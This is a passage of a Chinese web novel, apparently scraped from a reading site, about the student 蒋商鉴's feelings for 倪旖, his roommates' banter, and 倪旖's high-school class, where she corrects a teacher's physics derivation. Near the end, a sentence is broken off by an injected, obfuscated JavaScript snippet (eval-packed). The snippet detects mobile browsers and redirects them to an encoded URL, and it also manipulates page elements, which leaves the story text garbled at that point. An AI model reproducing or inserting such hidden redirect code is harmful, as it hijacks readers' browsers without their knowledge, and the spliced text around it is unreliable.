蒋商鉴在输入框里敲着:一糖葫芦而已,还用得着还钱?我 回复敲到一半他又停住。 蒋商鉴忽然意识到他跟倪旖其实并没多熟,就认识一天,不是默认对方请客的关系,还钱理所应当。 蒋商鉴仿佛听到倪旖带着一丝讥讽的语调让他尤为羞怯,便不由自主地表现得有些低三下四,想说些好听的,怕这倪旖来真的。 当他意识到这一点时,马上用生硬的方式去掩盖尴尬,就像掩耳盗铃般。 她可能没把他当朋友,自己花钱无所谓,就是不要别人的。 可为什么有点小失落。 虽然只是一面之缘,但此刻,蒋商鉴想,倪旖就像血液里充满了某种毒,光是和她在一起,一句话都不说,都会让人感觉失去了分寸。 一切都变得很仓促,就算和她说话,语句的节奏也会变得异常紧张。 连此刻,跟她发消息,想说些什么也反复敲击键盘,欲言又止都收敛。 好不容易憋出来的一段,标点符号也消失了。 但他很快就能掩饰性带着自我欺骗模样恢复轻松明快的笔法。 蒋商鉴把打好的字又删了,回道:哦。 然后他看见对话框顶端显示“对方正在输入……”。 蒋商鉴闲着没事就提前把上个月的实验耗材报销材料先整理好,他把抽屉里的发票和收银单夹子拿出来,一张张标日期和申报项目事由。 此时,那密密麻麻报表里的每个数字都像倪旖神经兮兮的鬼脸,好爱她这种不管不顾的癫狂狠劲儿。 随后蒋商鉴小心翼翼将一张小票塞进最后,那小票显示购买物品是“儿童塑料保温水壶(550ml)”,给倪旖支出能专项全额报销,金额范围内就行。 可是,蒋商鉴还是将这张账单拦截,随后揣进兜里,不能用公费走私心。 蒋商鉴他换了个跷二郎腿的姿势,手肘架在膝盖上等着。 对方输入了十几秒吧,这个显示消失了,而对话框里并没有蹦出新回复。 蒋商鉴:? A倪旖:? 建议取消“对方正在输入中”,每次看到消息蒋商鉴都怕一查看消息对方会显示“对方正在输入中”特别是怕误触输入栏。 再说,看别人输入中,也挺着急。 这局必死,妃子闷闷看了一会儿牌局,觉得临死前有必要找人聊聊感受。结果一抬头,就见蒋商鉴懒懒散散看杂志,一副兴致缺缺的冷淡模样。 妃子考虑了两秒,决定还是安静地接受输牌事实。 蒋商鉴突然有了心事,连玩牌都心不在焉,最后被无情驱逐,只得洗洗睡,摸着笔记本电脑盘腿坐在床榻,密密麻麻的符号变成蚂蚁铺天盖地朝他飞来,揉揉微微发酸涩的眼皮,随意道:“你去了好久啊?” 妃子摔了牌,用手势比划给钱给钱,顺带敷衍说:“是啊。” 蒋商鉴一皱眉懵逼道:“好久啊?” 妃子觉得他是傻叉,再次回复:“是啊!” 蒋商鉴意识到说了渝庆方言他们不懂,便解释:“你约会几点回来的?” “你回来前两小时。”妃子恍然大悟,笑得要死。 “怎么样了?”蒋商鉴也是真没心思查阅文献,都开始唠嗑。 “别提了,这相亲还不如不去,我这条件得给拖累死,人家父母基础疾病,还有俩黄毛弟弟,说话一下就叫人判断是个扶弟魔,张嘴就是两套房,吓死我。”妃子拍拍胸脯,真是难以置信感慨。 “去去去——”蒋商鉴越聊越烦,他用手指在显示屏点了一下,有三分之一的被激活,上面显示着复杂的曲线和数据。 妃子玩累了,让兄弟们自己来一把,便巴巴上去鼓捣蒋商鉴胳膊肘。 周围小桌板一圈的哥哥们笑着摔牌斗地主,不时能听到一些只言片语。 蒋商鉴此时真不想听,脑袋不受控制得要命,他就像夏夜里村口路灯,那些嬉笑玩闹的嘈杂声就像光线下扑棱着翅膀的小虫子,不停地向他的脑子里钻。 他脑袋里全是倪旖,连只言片语都不想听,蒋商鉴不得已再一次思考自己所陷入的马卡龙陷阱,也再一次确定自己绝对无法从这个陷阱中自拔。 他疯了。 情绪快要崩溃前一秒,手机振动,是倪旖来电。 蒋商鉴揉揉发痛的脑袋,装作随意便准备起身去外面接通,胳膊肘被妃子牢牢摁住,哥哥们也都停下玩牌搞出的死动静,跟向日葵似的统一方向朝他看。 叹息一口气,蒋商鉴接受暗示,滑动手机接通按键。 妃子迅雷不及掩耳之势给他嗯了免提。 “师哥,你到宿舍了么?” 众人表情中都有羡慕,一下子哥们几个都蹿到手机边听对话。 虽说这些理工男一个个二次元电脑控,说话情商低,跟哥们聊天内容可猥琐,但面对女孩还是很收敛很礼貌。 倪旖静静地等着回答。 蒋商鉴能够清晰地听到自己的呼吸和心跳,对她刚才的话他没太在意,只是刚刚藏起来的感情又涌上心头,但他只能控制着,等待着。 蒋商鉴用眼神警告众人别跟发了情的猴子似的叫唤,带着些说不清道不明的迫切和期待,装作随意:“嗯。” “罐装可乐都得倒在玻璃杯里喝,外壳太脏了。”倪旖不好意思提醒道,她是有点强迫症的,光是想想脏脏的东西被蒋商鉴喝下就好难受。 海星趴在妃子耳边小声说:“跟商宝绝对同频,这强迫症晚期,一对儿。” “就这个?”蒋商鉴都没察觉脱口而出的失落。 其实,倪旖就是为这事儿特地打电话,但他那意思好像要说“是”会出事,毕竟师哥真的很幼稚啊, 倪旖便绞尽脑汁思索,随后甜腻腻道:“就想告诉你,惹到我,你算是遇到软柿子了。” 蒋商鉴没说话。 龇着大牙都收不回来,笑得春风得意。 倪旖知道装傻充愣失败,平静道:“那你忙。” 蒋商鉴那个死直男当然不懂“那你先忙”短短四个字,竟然蕴含了“好想和你聊天啊,想得不得了,但我要表现得矜持温婉傲娇懂事一点,就你忙啊,谁不忙啊。我都能专门为你在繁琐实验流程里腾出时间,你就不能放下手头的事多陪我聊一会儿嘛,平时也不晓得主动来一下,至少发个表情包,真是气死我了”这么多字。 “那挂了。”蒋商鉴有点失落,察觉短暂性失落后陡然变成自我责问的懊恼。 倪旖试探道:“我是不能给你打电话嘛?你好像不太高兴。” “不是。”蒋商鉴缓慢调整呼吸。 “怕私人时间被打搅,可以邮件联系的。”倪旖以退为进。 蒋商鉴突然就好生气,阴阳怪气道:“随便你。” 妃子瞳孔微微放大,这情况都不在预料。 众人面面相觑,噤若寒蝉。 海星情商高反应快,故意咳嗽两声:“商宝,我拿你邮箱给国外教授发套磁消息,你最近不要碰,会耽误我得诺贝尔奖。” “要是没事,先挂断。”蒋商鉴主打一个要面子,冷漠对待倪旖。 “再见,师哥。”倪旖装作乖巧,还带着哽咽的哭腔,一副受委屈的小夹子模样。 “安静!”最有发言权的情圣海星大声道,随后呵斥,“蒋商鉴,你还让妹妹约你,主动点,别怂。” “你简直是地区耻辱!咋个可以和婆娘这么高声说话喃?”妃子学他家那边方言。 渝庆那边男人都耙耳朵,围裙是统一战袍,因为gay多,导致蒋商鉴长久以来被怀疑是0。 蒋商鉴烦躁将手机丢一边,哥哥们都凑过来七嘴八舌指导,吵得他耳朵痛。 只有酸哥例外,坐在懒人椅上,嘀嘀咕咕说风凉话:“为什么要追?没男人女的自然饥渴,毕竟只有男性才能让女的受孕。” 蒋商鉴眉头紧锁,余光中瞥见酸哥脸在被床帘挡住中模糊不清,但能清晰明了感觉到他幸灾乐祸的表情,这像空气中正在充满的汽油刺鼻的味道一样使他难受。 海星白一眼,就算他混迹情场也没怎么无耻,至少没这么无耻得光明磊落,直接板着脸吐槽:“怎么好意思?白吃白拿太久了吧?” 酸哥跳起来是十分偏激:“不是么?” “你一普信男还要表现得自己劳苦功高居功至伟?”海星大声道,他都无语了,烦躁得想要转宿舍,蒋商鉴那宿舍还空个床位。 妃子拉架,和稀泥:“别吵,海星我们该团结一致帮蒋商鉴撩妹的。” “谁有那闲工夫?”酸哥一脸不屑回床上躺尸。 “你别插手,”海星白了一眼,随后哄哄很明显红温的蒋商鉴:“咱商商有啥想法?” 蒋商鉴很快就从那情绪抽离,敷衍:“没。” “你便秘拉屎还是挤牙膏?一个字一个字往外蹦?”妃子性子太急了。 “我跟她没什么的。”蒋商鉴再次解释。 海星给他捏捏肩膀:“没什么那得制造什么来有什么,懂?” “不懂。”蒋商鉴就特别潦草,绵软地躺在床上,用睡意未消的眼睛看着他。 “别整天鼓捣你那流浪的猫?天神未来会下凡告诉人类,你所感受到的一切,都是某个高维度意识制造的感官模拟游戏。”妃子也不知道他整天搁那喂流浪猫啾咪啾咪的在干什么玩意儿,除了泡实验室和在图书馆查资料,再不然就是逗猫。 “那猫设计的真不错。”蒋商鉴Get到的点就很奇妙。 毕竟抱着小猫咪的时候就会情不自禁地全身心投入,沉浸于指尖上毛茸茸皮毛的触感,还有贴着身体时散发出的温度,以及会呼噜呼噜的声音,就算有时候会臭烘烘的。 蒋商鉴除了想小猫,脑袋里莫名其妙闪现倪旖微笑的脸,她有时候逻辑思维转换太快时说话会尽力避免出现英文词,但一些汉语词汇在她口中显得很生涩,她等于是在最陌生领域说最具难度的语言,有时不得不说英语生物领域专业单词。 “哎,妃子,你注意到倪旖的语言嘛?”蒋商鉴抬眸问道。 “我连她话都听不太懂,夹那么多鸟语!”妃子皱着眉,可排斥那种装逼式地蹦出各种很长的英语以及很专业的名词,这会时刻提醒他是个智障。 “她在国外生长的,前几年才回国,普通话很不错的。”蒋商鉴赞叹着。 “那倒不一定,你找时间看看她国内模拟高考语文试卷,绝对很有意思,笑话百出。”妃子眉毛上下蹿着,一副吃瓜模样。 “她又不需要高考,她最迟过完寒假最快下学期就过来上学,我会是她导助。”蒋商鉴摸额,微微蹙眉,有点纠结模样,如果真的不可挽救爱 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海星特骄傲指着自己:“我呢,创业嘛,跟工商局联系多,喜欢个女的,人特仗义,就没法接受我浪荡的曾经,我心都哇凉,哪家混不吝晓得会真爱上个人?” 妃子拍拍他肩膀,以表哀思。 “我知道了。”蒋商鉴指关节无意地敲击着电脑键盘。 可是心思早已经不在查阅文献资料上面,满脑袋都是倪旖的微笑,这微笑蒋商鉴现在只是无意中浅浅地回忆着,但不久的将来它将像灼热铁水一般在僻静意识中烙下印记,让他疼痛一生。 “你别知道知道,瞧你这地球人类少见的这股子横劲儿,估计要顽抗到底,那就真不知道是个什么死法儿了。”海星着实担心,他其实在富婆圈摸爬滚打,多少了解一些上层人那种无聊戏弄心态,受伤害的都是普通人。 蒋商鉴没说话,海星是一个极为入世的人,擅长享受生活,对世界没有额外的道德负担一责任感,所以才能无所顾忌在情色场周旋。 妃子拍拍他肩膀。 蒋商鉴有点疑惑:“虽然普通人生活中充满困苦,可是每个普通人却坚强,所以普通人值得被一个人深深爱着,就不管利益如何,不是么?” “……”妃子看傻子一样看弟弟。 海星的目光报以同情。 蒋商鉴知道他们是在笑话,可他不在乎,因为经常被笑话。 蒋商鉴都不知道他们为什么这样喜欢笑话人,主动帮室友叠脏兮兮被子时,走路规规矩矩的等绿灯时,到工位总是提前半小时时,下班最晚都会关灯时……他们也会笑。 其实他们笑话是因为他们总是上班迟到,下班早退。 别人会讽刺内卷:“蒋商鉴,别人都迟到早退,你为什么要内卷?真勤奋。” 因为本来就没有的,就会格外珍惜,无论是人还是事,循规蹈矩也被说内卷,他其实一直想不通,这不是应该的吗? 每个人都应该保持积极向上的,就算有时候会真的很想死,躺平的时候也会来一句,去他妈的科研,可要科研的时候也会来一句,去他妈的躺平。 “做我们这行的最忌讳的就会对客户动情,”海星开玩笑,他也不是鸭子,就是单纯在风月场拼事业,跟工程老板喝酒侃大山,“你要闷头砸进去,好歹让哥哥们看看那姑娘到底多好,配不配得上我家商商。” 蒋商鉴垂头丧气,他故意留的信物——烟丝灰眼镜,她一点都不记得还。 “我记得最近校招生组校园宣传队有应聘的,咱试试?”妃子眨巴眨巴眼。 “滚——”蒋商鉴脸颊微微发红。 “安静点!”酸哥一把扯开床帘,语气很不好。 “要不是你最近被劈腿,我就要揍你,欠。”海星嘀嘀咕咕一大串,最后倒了一杯温水给酸哥送去。 倪旖坐东仔快餐店里,面前是吃一半的龟苓膏,炼乳与蜂蜜已融在黑黑果冻块状体里,看着蛮有食欲的。 此时,班级压抑得要死。 大马猴胳膊肘捣捣前面倪旖同桌兼死党甄凝,面色红润有光泽,特八卦问:“妹妹说今天来,这都大课间,还不来,有没有一种可能——” 甄凝扶着耳廓,懒得解释,淡淡敷衍打断道:“是的,死了。” “……”大马猴揉揉眉,“咱就往好处想想——” “死因,擅自搭讪倪旖。”甄凝随口胡邹道,低头时不小心蹭到窗帘,便挪挪凳往边去,移动靠椅子那“滋滋——”声在补觉大课间尤为刺耳。 “她给你发消息啦?”大马猴嘀咕着。 一提到倪旖,大马猴脸黯淡下去,犹豫下将课桌抽屉里拿出一本账本,账本里所有借款条都工工整整地用别针夹着。 大马猴不愧是生活委员,账务整理得井井有条,将一沓欠条摔给甄凝,被压迫已久哼哧道:“赔钱。” “……”甄凝也被坑得厉害,哪来钱给倪旖擦屁股,“找她去。” “……一个被窝里睡不出俩人,呜呜呜,我的钱。”大马猴将借据收好,反正有利息,攒到十年后就是个小暴发户,毕竟和尚不在还有庙。 “往好处讲,”甄凝一顿,“我昨晚梦见倪旖,就电锯惊魂那种。” “……” 大马猴脸色僵硬地看着甄凝,怀疑自己幻听了,揉揉耳朵,她居然会做这么狂野的梦。 虽然是心向往之,可他还没敢在梦里造次,总感觉倪旖会顺梦爬出来大半夜呼他一脸。 直觉告诉他,这大美女绝对正常,比正常人还正常。 暖暖晨曦照在她微浮动背上,在桌脚地面投下长长影子,大马猴第一次感到智商余额不足,难道是我不正常? 大马猴离开教室,出去溜达,想着倪旖妹妹咋还不来,下节课贞子姐的,谁敢不给她面子? 倪旖都忘了还有大马猴这号人物。 当倪旖窝沙发攥手机发短信时,她手里握着一支抹茶甜筒,手忙脚乱地去检查包里课本,那贞子姐的课还要给点面。 一着急,倪旖翻着却带出蒋商鉴上次见面送给她的小玩偶手机链,挺智障的,用手机还得摘下来。 倪旖想去手机玩偶链,整个包都索性滑落在地上,里面杂物散了一地,惹来路人注目。 倪旖蹲下身手忙脚乱把小物品拾起扔入包中,雪糕在慢慢融化,蠢蠢欲动地要滴入张开的包里面。 有双脚从她身边跨过,迟疑一下又转回,帮她把滚落远处的小包虾片零食和迪奥口红拾起,放她手里。 他走过来她面前,身影将她笼罩。 12. 灵魂 大学带着校徽那简易版校服穿在身上,他手里攥着一杯加了橘子汁糖浆和养乐多的夏日气泡水,笑容自带光感滤镜。 不怪路人在擦肩而过后还夸张地一步三回头,目光一旦黏上去,是很难从这样的一个人身上撕走。 “谢谢。”倪旖垂眸时道谢,也没看脸,那感觉就是帅哥。 倪旖攥着龟苓膏闷头往前冲,离学校也近,天气有点热,边走边解开了衬衣前两颗扣子。 忽的,身后有清脆铃响。 倪旖眯着眼睛习惯性让道,一辆单薄全黑的山地车自她左侧疾驰而过。 她耳畔涌风,碎发丝儿都被微微带起。 交错时,车上的人似乎回眸瞥了她一下。 但倪旖没看清对方。 眼看距离逐渐拉大,便放弃辨认。 正要收回目光,那车倏而刹住。 这圆滚滚后脑勺,好熟悉。 “师哥?”倪旖嘀咕,也没理会。 那单车也不知何时离开的。 探头从铁门望去校门里面是老旧红砖建筑,矮墙上垂下许多藤蔓,在暖风中微微摇摆,西南门小二楼停车场时常有学生躲着哭缓解情绪。 生态园门口那条路,靠近体育场那一边有个背离教学楼的岔路,进岔路再左拐就是偶然高三情侣出没小树林。 学校取名“生态园”,学生群体不约而同管它叫“鸳鸯锅”。 早恋小情侣躲避班主任围追堵截,只能在林子里玩泥巴,夜里鬼影幢幢,这生态园连难过到想自杀的学生都不敢来,怕吃狗粮,加速死亡。 倪旖被那闹鬼的吓了好几回,所以对高中印象深刻就是钻小树林,那接吻真的很湿,比岛国动作片还夸张。 倪旖刚走上生态园路,瞅见有蝶翩翩,忽然停下脚步,毫无征兆伸出手,纤长手指猛然收拢,扣住那只停在垂丝海棠上的蝴蝶。 倪旖抬眸嗅着,眼睛微微闭上,再睁开时,手中的蝴蝶扑棱着飞离。 “唉——” 特清澈声传来。 倪旖没忍住就想看看哪个孩儿声这么好听,还未转头,黑影就从她背后蹿来,一下被撞到,那力道跟随惯性,虽说不重,可倪旖没意料,直接被撞得往前踉跄走几步才稳住。 倪旖思索情况,皱眉,不耐烦地往后边摆下头。 认错人?打了个比方,这事情发生概率,就相当于火车与轮船相撞。 倪旖被撞到那第一反应是挥拳,事实也这样干,身上牛劲倏地松完,困倦藤蔓般缠上脑袋,各种怒意风卷残云,一瞬只剩了荒谬和滑稽。 倪旖垂眸很冷漠看着那人,体内血液似乎都已经全部冻结、不复流动了。 大庭广众下揩油。 真欠揍。 看着也不变态。 是的,挺可爱的小男孩,估摸着刚高中呢,没受摧残的清澈且愚蠢眼神可不得一眼看出。 男孩微微皱眉,捂着蹭破胳膊肘,迷糊道:“我看错人了,不好意思。” 倪旖依旧保持警惕,因为揍人时不注意蹭到电线杆,往后退两步,只是盯那男孩,脚踩鹅卵石一滑往后踉跄几步跌去,胳膊肘隐隐发痛,连脸都被划。 “你没事吧?”男孩被摔得不轻,好一会儿都直不起腰。 倪旖没说话,抬眸望着。 那人也不吭声。 倪旖只好开口说:“欸,对了,你这逼小孩为什么要行刺我?” “行刺?你以为你是皇帝?”男孩恼怒情绪蔓延,就是被质疑年纪那种恼羞成怒。 倪旖口若悬河,吧啦吧啦不让他有插嘴机会,就这么把他教育一遍。 直到他拐弯抹角要联系方式,倪旖慌忙爬起转身离开。 慌忙逃窜时,倪旖隐约听见身后传来男孩解释声音。 “我没戴眼镜,不是变态,还有,要联系方式不是要报复你。” 大课间跑完操跑道两侧被浓重怨气笼罩,有些衣衫不整,面容困倦,隆然伏行,像刚从阴曹地府爬出来的鬼。 果然应了那句话。 生活索然无味,尸体COS人类。 楼顶层大课间向来死寂,一个长得像熊出没大马猴加厚版的男生从走廊漂移进教室,其实也没多像,性格像猴,但自比千里马,所谓马猴,便是如此。 此刻,他跟别阉割的公鸡打鸣似的扯着嗓子极具迷惑性叫道:“报——咱班妹妹回归!” “敬事房小太监神经。”门口那低头刷题的女孩揶揄道,又嘀咕着,“你惦记,她平时就能坏得适当些?” “下次你问我有没有大会员,我免费帮你安装脚本。”大马猴就晓得这二次元还记仇呢,话里话外都半讽刺。 “你记得就好。”二次元敷衍。 “唉,妹妹。”大马猴远远打招呼道。 倪旖眼都不抬。 二次元不高不低喊了一声:“男的对你喜笑颜开的时候,你永远不知道他脑子里有多肮脏的想法。” “啥玩意儿啊?”大马猴摸摸后脖颈,一副不解模样。 “鼻子下面手指头一伸,先看有气没气,有气的都是渣男。”二次元嘴毒,而且无差别对待,无论上位掌权者还是其他不如的。 “你受到情伤啦?忘情水不管用那种。”大马猴插科打诨。 “……没气的是死渣男。”二次元幽幽道,随后推了下镜框,缓缓补充一句,“只有黑白照挂墙上了,才算真的死心。” “……”大马猴想锤人,垂眸时怨声载道,“她单纯呢,你满脑子废料。” “她可不小。”二次元推推眼镜。 “……”大马猴微微皱眉,扫视一眼二次元,“你脑袋怎么还能一百八十度扭转过来?” “额?”二次元挺直腰。 大马猴继续无视:“哪怕是手机贴膜也要鼓个泡好吧。” “你们那儿话里柴火妞就是我这形象。”二次元满脸鄙夷。 大马猴杀人诛心:“柴火妞不是这种,身高更高手长脚长,颜值也要高一丢丢。” “我就说你多肮脏,”二次元脊椎微微弯曲,眯着眼仔细审视这道物理多选题,喃喃自语道,“肯定不是a。” “起码C,D?”大马猴瞥一眼道。 “去,去,去。”二次元可烦他,差点拿脚踹他出去,眼里微微愠色,那狗眼看人低,不知道一直往她哪里瞅着。 “我是好人,文明着呢。”大马猴脸颊微微泛红,单数指着这道题,“真的不可能是A,这么大——我是说,数值很大,额,别想歪。” “文明个头,搞得跟真的似的,滚滚滚。”二次元真想一镢头撂倒他。 “好人嘛。”大马猴摸摸后脖颈,瞅见她纤细指关节,很漂亮,可以当手模那种,“手真好看,是不是学过什么乐器啊?” 后面吃瓜群众踊跃发言:“只听说过手好看所以才玩乐器的,没听说过玩乐器会把手变好看的,只会越变越糙。” 二次元扶了一下眼眶:“乐器算不上,但是会修电器,会组装宜家,会打游戏,会玩花切,会手搓周边,哦,还会解剖各种生物。” 大马猴满眼都是小红心,很猥琐道:“我能舔舔你的手吗?” “B班果然一群逼。”同学A恶心道。 “咱班变态着实多。”同学B附和道。 “吉良吉影?”二次元思索片刻。 见当事人无所谓,同学B也开玩笑:“会花手不?” “会。”铿锵一声。 “那你还挺艺术的。”同学A好笑道。 同学B准备结束话题:“哪天咱们翻绳儿啊。” “这我倒不会。”二次元敷衍道。 “随便聊两句你就控制不住小头了?”同学B上下打量大马猴。 大马猴急忙否认:“我可是好人。” “好人么?”二次元一顿,往倪旖那方向看过去,“那你锄奸去?” “奸人”倪旖谁敢惹? “……”大马猴不敢,愣着不动,强行转移话题,“你择偶标准是啥啊,说说呗,家里条件,学历,性格。” “这些不打紧。”二次元直言,“就是盆骨委实有点窄。” 大马猴不明所以:“盆骨?” “盆骨宽,好生养。” “……”大马猴又被戏弄,苦笑一声,着实苦恼,“说真话嘛。” 二次元随意在卷面勾写CD,随意做个数钞票姿势:“那就展示浅薄到寡陋可怜的一丝丝善良。” 这是在嫌弃他空空到比脸都干净的钱袋子。 大马猴呜咽着,想哭。 大马猴作势摸摸口袋:“善良?我今天没带善良。” “那就滚。”二次元直接隔着张桌坐着抬脚重重踹他出门,连头都不抬。 “能不能下次一起善良啊?”大马猴被踹得一踉跄,差点狗吃屎。 同学A就看着他俩耍,幽幽道:“幸亏这人还有点法治意识,不然这会儿你腰子都在缅北倒了三手了。” 同学B点点头:“下个反诈app吧,算我替警察求你。” “去去去——”大马猴吃瘪。 临了二次元问:“你消息强,找个颐大校友查查那牛逼哄哄的眼镜佬,找个错误给他踢吧踢吧走,这人烦。” “那学校论文都属机密文件,藏图书馆,我试试,那男的确实挺烦人,跟全世界就他考那学校似的,蚂蝗似的吸血消费人那学校,三句话不离博雅塔。” 大马猴排斥这新来物理眼镜佬,第一节课就推导麦克斯韦方程四维式,那优越感离八百里都闻得到,让人不禁怀疑自己这辈子是条嗅觉敏锐的正宗中华田园犬。 极端聪明就像一个畸形的子宫,能够孕育出很多怪诞的东西。 比如,丁戈晖的那种侵略性聪明,具有霸凌性质。 大马猴半蹲课桌前,很认真跟省里排得上名号的裸分大佬交流,这是指剔除竞赛生和强基计划加分等同学。 “我高考数学贼差,每次135左右摇摆,怎么才能稳定考145?” “少做道选择题。” “不要和我开玩笑。” “是你先和我开玩笑的。” “啊喂,认真点啊。” “把你想选的选项排除。” “……”大马猴微微皱眉,“这一届数学难度是不是提升了,大环境不好。” 丁戈晖嫌弃得拍笔,不耐烦道:“自己能力不行就不行,怎么你到哪里哪里大环境就不行,怎么着,你瘟神嘛,还破坏大环境,人不行就别怪路不平。” 大马猴只恨自己技不如人啊。 丁戈晖随后比个中指,淡淡道:“我不是故意的,只是需要表现态度。” 大马猴心好痛。 临了再次鼓起勇气,大马猴放赖似的问:“我啥时候才能像你那样牛掰?” “在刚刚出生的时候,因为渐行渐远。”二次元就淡淡的。 既好笑又真实。人生就是一个各种可能性不断封闭的过程。 疲惫沉默的高考生站满走道,茫然木立的,低头瘫靠座位旁的,一屋子丧尸颓靡不振,隔着门铁隙缝,倪旖微弱如羽絮地“嗯”了声。 徐浣若的软绵绵的解释换来的又是一片哄笑,还有人故意捏着嗓音学她说话的声音腔调:“交作业……” 倪旖不爽直接踹桌脚:“硫化氢,别欺负人。” 刘湖岐,谐音简写H2S。 化学课老师提问一个关于硫化氢的知识点,顺便cue谐音梗。 这个同学得多味儿啊。 刘兄顺利成章当化学课代表。 “妹妹来啦?”刘兄意外道。 倪旖懒得解释,将书包买的两杯加冰奶茶分给徐浣若和丁索隐,就准备眼睛长脑壳上,拽拽脸就回座位,她爱香香的小女孩,烦臭小子。 临回位之前,倪旖微微蹙眉十分淡定将黑板一道物理难题错误抹除。 刚溜达到中间过道,一男的跟她擦肩而过,急匆匆的,胳肢窝还卷带着一沓稿纸,长得一股子理工男标本味儿,嘴里还神经兮兮鼓捣屋里词汇。 还穿的贵族紫色外衫。 二次元同学干干净净的,温柔又澄澈,像夏日醉酒的铃铛,只是日常有种微醺状态下的理智疯癫,淡淡道:“君士坦丁堡的闪电劈到咱班了。” 大马猴微微皱眉,不太理解大佬变异思想。 “特指紫衣贵族。”二次元嘲讽。 大马猴低声感慨:“right!” 二次元平等嘴毒每个人:“……说什么蛮夷鸟语?” 在大马猴催促下,二次元同学先缓缓站起来,身体再慢慢晃起来,故意看起来像“植物大战僵尸”里中了毒的蘑菇,准确来说,再头盖个不锈钢水桶,典型僵尸气质。 班里活泼的少男少女们你推我搡的打闹瞬间停止,只有个不长眼的男同学捏另一位女孩的脸颊,打趣玩笑的话还没收回,斑驳日光透过球心缝隙,落在倪旖此刻温和微凉的眼眸里。 有人笔直朝她走来,气势汹汹。 摸着古董小灵通手机,那男的经过黑板一顿,缓慢往回移,一停,扶着深蓝眼镜眶微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222314|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微蹙眉,不太高兴道:“有人改我推导步骤,瞎了吗?傻了吗?卧槽,怪不得我这次弄不出结果。” 二次元面如黑土,阴沉难看,平时极爱侃大山,现下倒一言不发。 “不客气。”倪旖收拾背包,连头都不抬,一副大佬模样,特嚣张,这B装得一手惊艳,“如果采用闵氏空间,则四维电流密度矢量的逆变分量错误。” 说完,倪旖嫌弃手脏就在万籁俱静中去厕所,还没出门就被叫住。 “谁让你动我希沃白板?”眼镜佬一副古板模样,只是在学生面前出糗很难为情,耳尖都红透,死鸭子嘴硬找回面道,“要是我,就不会动你白板。” “我的白板不会有低级错误,”倪旖一点面子不给,真理至上,摸着有点脏的指关节,淡淡却包含杀伤力。 “……”眼镜佬愣在原地。 “引入四维电磁场张量……”倪旖轻描淡写道。 “……”眼镜佬微微错愕。 “你是学物理的?”倪旖的质疑杀人无形,随后在众人哑口中潇洒离开。 众人起哄吹口哨鼓掌欢呼。 刘湖岐憋不住笑:“他其实是欠薪老板在跑路吧?” “你不要萌萌哒地看着我。”倪旖很反感那种莫名其妙的眼神。 “……”刘湖岐一愣。 倪旖低垂眼睫投下一片阴影,那眼睫卷翘,只是眼里黑沉沉涌动着暴戾,语气带着一丝厌烦和倦躁:“滚。” 周边人起哄全都偃师息鼓。 倪旖也不知道指桑骂槐什么:“你们别特么在这里给我偷换概念,哪个说法不对就直说,装什么绿毛龟?” 其他人都见怪不怪。 关键这班级兼具草台班子和牛逼团队的二象性,每次事故发生得很抽象,众人哭笑不得,有种俺寻思之力的美。 二次元幽幽补充:“这下知道贞子姐姐口里那句屎盆子镶金边啥玩意,一段臭泥巴路铺层国道水泥地,搞笑~” “你真是个文笔极好的流氓。”大马猴笑嘻嘻赞扬着这句诛心吐槽。 二次元同学表情有点不耐烦,看着像已经草腻了,烦躁将笔丢一边,嘴里依旧吐不出象牙:“我发现年龄越大越装是真的,我马上就他那岁数,不会也这样吧?” 大马猴笑得要晕厥,捂着肚子狂乐呵,上气不接下气道:“到时候说一下为什么会变得这么装。” 方才的画面如同一帧一帧播放的电影慢镜头,在脑海中来回倒带,二次元真烦这种装逼人类,以及打脸装逼人类的人类,都一群沙雕。 “妹妹真的吊~”大马猴感慨。 丁索隐啧啧佩服:“那是,我家妹妹领奖时升的是中国的国旗,不是你家的床单。” 类似膜拜夸奖不绝于耳。 二次元烦得要命,如一股清流激荡,面色复杂,幽幽道:“比她厉害的多了去,她就算吊上一根毛而已。” 当她归来时,全班欢呼尖叫,辩不清是真是假,不知道为什么,明明大家只是在膜拜她,对,膜拜,那个恶心得要命的词汇。 二次元却觉得大家对她的每一句似真似假的夸奖都等同在她耳边说:“丁戈晖,你不行。” 丁戈晖很迷惑,皱起眉,胸腔里像有七八根钢丝戳着,喘口气都不顺畅。 丁戈晖只觉得可怜,她等着一击必胜,也取得类似普遍意义上的成绩,她真的快崩溃了。 虚无缥缈的排名第一,你让我整天刷竞赛题目我也刷了,波澜不惊有魄力我也懂了,所以我还是这样,万年乌龟老二,特指人意识上的老二,要多深的深度才行? 得第一的意义难道不应该是公认的,为什么受制于人? 就很飘渺,就像不知道做成什么样的程度才行,这种被压迫感觉完全是约定俗成的普遍性个人主观说了算。 最主要是她,居然无意识接受这样价值观,她的反骨呢? 丁戈晖冷脸,根本懒得搭理倪旖招呼,双手扳住椅凳两边,把椅子往靠窗一侧挪过去。不光是椅子,连迷你如循环使用铅笔芯都往靠窗一侧挪了挪,狭窄空间让得她连呼吸都堵塞。 就算只是自欺欺人,俩人隔着对角线,腿得比高跷还长一大截才能触碰她身体。 丁戈晖拾掇干净白校服裙,袖被往上捋一段,露出线条舒缓手臂,指尖慵懒随意,就像被随意丢掉的一团废纸。 学习像生了灵魂似的,不断施舍些甜蜜,吊着人前进,前进,于她而言,当第一,那种各方面碾压,大体上就是一份枯燥而耻辱的习惯。 她的对手就只有倪旖?就算她战胜了倪旖,她会高兴嘛,高兴得就像仇人暴毙?现在有一个倪旖,未来或许还会有无数个倪旖出现在她生活中…… 她究竟要怎样才能永远当第一,战胜出现在她生活中的所有人? 她担忧什么?她在憎恨什么?她明明将倪旖当作最好的朋友,却又最厌恶她。 她到底在反感什么? 丁戈晖怕发现真相,她没从倪旖身上看到从迷茫到坚定,从绝望到希望的转变,好像从一开始倪旖就知道自己会改变历史,会成为伟人一样。 倪旖太与众不同,所以很讨厌她,丁戈晖这样想,却不由自主关注她一切。 正在烦躁的丁戈晖,感觉到肩膀上有什么东西靠着,趁着思绪停下时,微微回头一望,只见小孩子正闭着双眼靠在她背上,嘴角微微露出微笑,很亲昵。 